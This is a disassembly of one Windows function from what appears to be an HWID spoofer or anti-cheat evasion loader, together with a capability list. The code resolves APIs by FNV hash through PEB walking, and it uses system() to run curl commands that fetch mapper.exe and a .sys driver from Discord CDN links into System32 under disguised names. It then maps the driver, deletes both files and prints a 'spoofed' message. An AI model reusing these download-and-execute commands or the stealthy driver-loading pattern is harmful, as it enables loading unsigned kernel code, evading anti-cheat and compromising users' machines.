Function at 0x14000c2e0
Capabilities:
Access peb ldr_data
Delete file
Encode data using xor
Execute command
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xb0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x14001c010]
xor rax, rsp
mov qword [rsp + 0x98], rax
call fcn.140001350
call fcn.140001570
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000c3b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000c3b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x86f8302a
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000c3b1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000c390
cmp r8d, 0xe8725c4d
je 0x14000c3bb
test r9d, r9d
jne 0x14000c370
mov rcx, qword [rcx]
jmp 0x14000c340
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rsp + 0x68]
mov rcx, rsi
call r8
mov dword [rsp + 0x6c], 0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000c486
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000c486
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x5b3d3fb4
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000c481
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000c460
cmp r8d, 0x2217975b
je 0x14000c48b
test r9d, r9d
jne 0x14000c440
mov rcx, qword [rcx]
jmp 0x14000c410
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rsp + 0x68]
mov rcx, rsi
call r8
lea rcx, [rsp + 0x48]
call fcn.14000d340
nop
mov rcx, rax
call fcn.14000b650
nop
lea rcx, [rsp + 0x48]
call fcn.140003180
lea rdx, [rsp + 0x40]
call fcn.14000d270
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000c566
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000c566
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x49abe9db
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000c561
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000c540
cmp r8d, 0x3120d142
je 0x14000c56b
test r9d, r9d
jne 0x14000c520
mov rax, qword [rax]
jmp 0x14000c4f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp byte [rsi + 7], 0
je 0x14000c6e3
cmp dword [0x14001c018], 2
jl 0x14000c6a0
movdqa xmm4, xmmword [0x140019120]
mov eax, 5
movd xmm5, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm2, xmmword [0x140019070]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140019090]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400190c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400190e0]
movd xmm0, dword [rsi]
xorps xmm2, xmm0
movd dword [rsi], xmm2
movdqa xmm3, xmmword [0x140019080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140019090]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400190c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400190e0]
movd xmm0, dword [rsi + 4]
xorps xmm2, xmm0
movd dword [rsi + 4], xmm2
jmp 0x14000c6e3
mov r9, rsi
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000c6b0
mov rcx, rsi
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000c776
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000c776
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x3e2ad07
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000c771
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000c750
cmp r8d, 0xe11ec68a
je 0x14000c77b
test r9d, r9d
jne 0x14000c730
mov rax, qword [rax]
jmp 0x14000c700
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov r15, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000c826
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000c826
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x69130eaf
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000c821
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000c800
cmp r8d, 0x4535de2
je 0x14000c82b
test r9d, r9d
jne 0x14000c7e0
mov rcx, qword [rcx]
jmp 0x14000c7b0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000c8d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000c8d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0xd18178
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000c8d1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000c8b0
cmp r8d, 0x4f0f9076
je 0x14000c8db
test r9d, r9d
jne 0x14000c890
mov rcx, qword [rcx]
jmp 0x14000c860
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rdx, [rsp + 0x88]
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000c986
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000c986
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x9f878d19
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000c981
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000c960
cmp r8d, 0x717929e6
je 0x14000c98b
test r9d, r9d
jne 0x14000c940
mov rax, qword [rax]
jmp 0x14000c910
mov edx, dword [rdi + 0x24]
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
add rax, r10
mov ecx, 0xfffffff5
call rax
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000ca36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000ca36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x6be5ce4b
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000ca31
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000ca10
cmp r8d, 0xc457409c
je 0x14000ca3b
test r9d, r9d
jne 0x14000c9f0
mov rcx, qword [rcx]
jmp 0x14000c9c0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rdx, [rsp + 0x70]
mov rcx, r14
call rax
movzx eax, word [rsp + 0x70]
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x80]
sub ax, word [rsp + 0x7c]
inc ax
mov word [rsp + 0x42], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000cb06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000cb06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x6d6306c4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000cb01
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000cae0
cmp r8d, 0xf03f4f41
je 0x14000cb0b
test r9d, r9d
jne 0x14000cac0
mov rax, qword [rax]
jmp 0x14000ca90
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, 0xffffffec
mov rcx, r15
call rax
mov esi, eax
bts esi, 0x13
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000cbc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000cbc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xe66a8104
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000cbc1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000cba0
cmp r8d, 0xb458c17d
je 0x14000cbcb
test r9d, r9d
jne 0x14000cb80
mov rax, qword [rax]
jmp 0x14000cb50
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx r9d, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + r9*4]
add rax, r10
mov r8d, esi
mov edx, 0xffffffec
mov rcx, r15
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000cc86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000cc86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x187cd6a0
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000cc81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000cc60
cmp r8d, 0xf64255a9
je 0x14000cc8b
test r9d, r9d
jne 0x14000cc40
mov rax, qword [rax]
jmp 0x14000cc10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov r9d, 2
mov r8b, 0xc8
xor edx, edx
mov rcx, r15
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000cd46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000cd46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x968b5e67
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000cd41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000cd20
cmp r8d, 0x911241aa
je 0x14000cd4b
test r9d, r9d
jne 0x14000cd00
mov rax, qword [rax]
jmp 0x14000ccd0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rbp, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000cdf6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000cdf6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x5175a174
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000cdf1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000cdd0
cmp r8d, 0x5eaa7511
je 0x14000cdfb
test r9d, r9d
jne 0x14000cdb0
mov rcx, qword [rcx]
jmp 0x14000cd80
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, 0xfffffff0
mov rcx, rbp
call rax
mov esi, eax
and esi, 0xfff8ffff
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000ceb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000ceb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x50759fe1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000ceb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000ce90
cmp r8d, 0x5c961570
je 0x14000cebb
test r9d, r9d
jne 0x14000ce70
mov rax, qword [rax]
jmp 0x14000ce40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov r8d, esi
mov edx, 0xfffffff0
mov rcx, rbp
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000cf66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000cf66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa388c819
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000cf61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000cf40
cmp r8d, 0x385f3843
je 0x14000cf6b
test r9d, r9d
jne 0x14000cf20
mov rax, qword [rax]
jmp 0x14000cef0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, dword [rsp + 0x40]
mov rcx, r14
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000d016
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000d016
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x3c1fa02b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000d011
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000cff0
cmp r8d, 0x66869cbd
je 0x14000d01b
test r9d, r9d
jne 0x14000cfd0
mov rax, qword [rax]
jmp 0x14000cfa0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov dword [rsp + 0x30], 0x63
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [r9 - 1]
mov rcx, r15
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000d0e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000d0e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0xef7423c
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14000d0e1
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x14000d0c0
cmp r8d, 0x3188aa99
je 0x14000d0eb
test r9d, r9d
jne 0x14000d0a0
mov rax, qword [rax]
jmp 0x14000d070
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, 0xfffffff0
mov rcx, r15
call rax
mov esi, eax
btr esi, 0x11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000d1a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000d1a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x3ca80222
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000d1a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000d180
cmp r8d, 0xc6f0975b
je 0x14000d1ab
test r9d, r9d
jne 0x14000d160
mov rax, qword [rax]
jmp 0x14000d130
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx r9d, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + r9*4]
add rax, r10
mov r8d, esi
mov edx, 0xfffffff0
mov rcx, r15
call rax
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1154954276758634506_1155264395417489478_mapper.exe___output_C:WindowsSystem32Vanguardmapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1154954276758634506_1155264395719487588_yswoof.sys___output_C:WindowsSystem32Windows10Help.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400107d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Vanguardmapper.exe_C:WindowsSystem32Windows10Help.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Vanguardmapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Windows10Help.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400107d4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._Sucessfully_spoofed_Temporary
lea rcx, [rsp + 0x48]
call fcn.14000d2e0
mov rcx, rax
call fcn.14000b6a0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3